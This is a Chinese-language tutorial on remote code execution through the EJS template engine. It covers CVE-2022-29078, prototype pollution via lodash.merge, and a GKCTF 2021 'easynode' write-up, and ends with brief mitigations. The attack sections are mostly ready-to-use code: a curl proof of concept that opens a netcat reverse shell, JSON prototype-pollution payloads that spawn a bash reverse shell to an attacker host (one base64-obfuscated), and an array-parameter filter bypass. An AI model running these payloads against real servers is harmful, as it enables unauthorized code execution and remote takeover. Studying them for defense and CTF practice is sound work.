Ejs模板引擎注入实现RCE
字数 1210 2025-08-25 22:58:47

EJS模板引擎注入实现RCE 深度分析

一、EJS基础介绍

EJS (Embedded JavaScript templates) 是一个JavaScript模板库,用于从JSON数据生成HTML字符串。

1. 基本安装与使用

npm install ejs

2. 核心语法标签

  • 执行JavaScript代码<% code %>

    <% var a = 123 %>
    <% console.log(a); %>
    
  • 输出转义变量<%= 变量名 %>

    <%= user.name %>
    
  • 输出非转义变量<%- 变量名 %>

    <%- htmlContent %>
    
  • 注释<%# 注释内容 %>

3. 控制结构

条件语句

<% if(state === 'danger') { %>
  <p>危险区域</p>
<% } else { %>
  <p>安全区域</p>
<% } %>

循环语句

<% users.forEach((user) => { %>
  <li><%= user %></li>
<% }) %>

4. 渲染方法

编译字符串

var template = ejs.compile('<%=123 %>');
var result = template();

直接渲染

var result = ejs.render('<%=123 %>');

二、EJS安全漏洞分析

1. CVE-2022-29078 (SSTI导致RCE)

漏洞原理

在EJS 3.1.6及更早版本中,存在服务器端模板注入(SSTI)漏洞。攻击者可通过settings[view options][outputFunctionName]参数在EJS渲染HTML时,利用浅拷贝覆盖值,最终实现远程代码执行。

漏洞复现环境

npm install ejs@3.1.6
npm install express

app.js:

const express = require('express');
const app = express();
const PORT = 3000;

app.set('views', __dirname);
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
  res.render('index', req.query);
});

app.listen(PORT, ()=> {
  console.log(`Server is running on ${PORT}`);
});

index.ejs:

<html>
<head><title>Lab CVE-2022-29078</title></head>
<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>

漏洞利用链分析

  1. req.query参数传递到res.render
  2. EJS内部处理时,data.settings['view options']被浅拷贝到opts
  3. opts.outputFunctionName被拼接到生成的JavaScript代码中
  4. 恶意代码被执行

关键代码分析

// ejs.js中的关键代码
viewOpts = data.settings['view options'];
if (viewOpts) {
  utils.shallowCopy(opts, viewOpts);
}

// 后续代码中使用outputFunctionName
if (opts.outputFunctionName) {
  prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

漏洞利用POC

curl "127.0.0.1:3000?test=AAAA&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"

2. 原型链污染导致RCE

漏洞原理

通过污染Object.prototypeoutputFunctionName属性,影响所有EJS模板渲染,导致代码执行。

漏洞复现代码

var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();

app.set('views', __dirname);
app.set('views engine', 'ejs');

// 原型污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

app.get('/', function(req, res) {
  res.render("index.ejs", {message: 'Test'});
});

app.listen(8000);

漏洞利用链分析

  1. 通过lodash.merge污染Object.prototype
  2. 设置outputFunctionName为恶意代码
  3. EJS渲染时使用被污染的outputFunctionName
  4. 恶意代码被执行

常用POC

{
  "__proto__": {
    "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"
  }
}

{
  "__proto__": {
    "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker-ip/port 0>&1\"');var __tmp2"
  }
}

三、实战案例:GKCTF 2021 easynode

1. 登录绕过分析

漏洞代码

const safeStr = (str)=>{
  for(let i = 0; i < str.length; i++){
    if(waf(str[i]) == "*"){
      str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
    }
  }
  return str;
}

绕过方法
使用数组形式提交参数,绕过单个字符检查:

username[]=admin&username[]='#&username[]=1&...

2. 原型链污染利用

漏洞点

extend({}, JSON.parse(addDIV));

利用步骤

  1. 使用addAdmin路由创建__proto__用户
  2. 通过adminDIV路由污染原型链
  3. 触发EJS渲染执行恶意代码

Payload

{
  "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvYXR0YWNrZXItaXAvcG9ydCAwPiYxXCI=|base64 -d|bash');var __tmp2"
}

四、防御措施

  1. 升级EJS版本:使用3.1.7及以上版本
  2. 输入验证:严格校验用户输入
  3. 禁用危险功能:避免使用eval等危险函数
  4. 使用沙箱:在安全沙箱中执行模板渲染
  5. 最小权限原则:降低Node.js进程权限

五、总结

EJS模板引擎的RCE漏洞主要源于:

  1. 不安全的参数传递机制(CVE-2022-29078)
  2. 原型链污染影响模板渲染
  3. 缺乏严格的输入过滤

通过深入理解这些漏洞原理,可以更好地防御类似攻击,同时也能在安全测试中发现潜在风险。

EJS模板引擎注入实现RCE 深度分析 一、EJS基础介绍 EJS (Embedded JavaScript templates) 是一个JavaScript模板库,用于从JSON数据生成HTML字符串。 1. 基本安装与使用 2. 核心语法标签 执行JavaScript代码 : <% code %> 输出转义变量 : <%= 变量名 %> 输出非转义变量 : <%- 变量名 %> 注释 : <%# 注释内容 %> 3. 控制结构 条件语句 : 循环语句 : 4. 渲染方法 编译字符串 : 直接渲染 : 二、EJS安全漏洞分析 1. CVE-2022-29078 (SSTI导致RCE) 漏洞原理 在EJS 3.1.6及更早版本中,存在服务器端模板注入(SSTI)漏洞。攻击者可通过 settings[view options][outputFunctionName] 参数在EJS渲染HTML时,利用浅拷贝覆盖值,最终实现远程代码执行。 漏洞复现环境 app.js : index.ejs : 漏洞利用链分析 req.query 参数传递到 res.render EJS内部处理时, data.settings['view options'] 被浅拷贝到 opts opts.outputFunctionName 被拼接到生成的JavaScript代码中 恶意代码被执行 关键代码分析 漏洞利用POC 2. 原型链污染导致RCE 漏洞原理 通过污染 Object.prototype 的 outputFunctionName 属性,影响所有EJS模板渲染,导致代码执行。 漏洞复现代码 漏洞利用链分析 通过 lodash.merge 污染 Object.prototype 设置 outputFunctionName 为恶意代码 EJS渲染时使用被污染的 outputFunctionName 恶意代码被执行 常用POC 三、实战案例:GKCTF 2021 easynode 1. 登录绕过分析 漏洞代码 : 绕过方法 : 使用数组形式提交参数,绕过单个字符检查: 2. 原型链污染利用 漏洞点 : 利用步骤 : 使用 addAdmin 路由创建 __proto__ 用户 通过 adminDIV 路由污染原型链 触发EJS渲染执行恶意代码 Payload : 四、防御措施 升级EJS版本 :使用3.1.7及以上版本 输入验证 :严格校验用户输入 禁用危险功能 :避免使用 eval 等危险函数 使用沙箱 :在安全沙箱中执行模板渲染 最小权限原则 :降低Node.js进程权限 五、总结 EJS模板引擎的RCE漏洞主要源于: 不安全的参数传递机制(CVE-2022-29078) 原型链污染影响模板渲染 缺乏严格的输入过滤 通过深入理解这些漏洞原理,可以更好地防御类似攻击,同时也能在安全测试中发现潜在风险。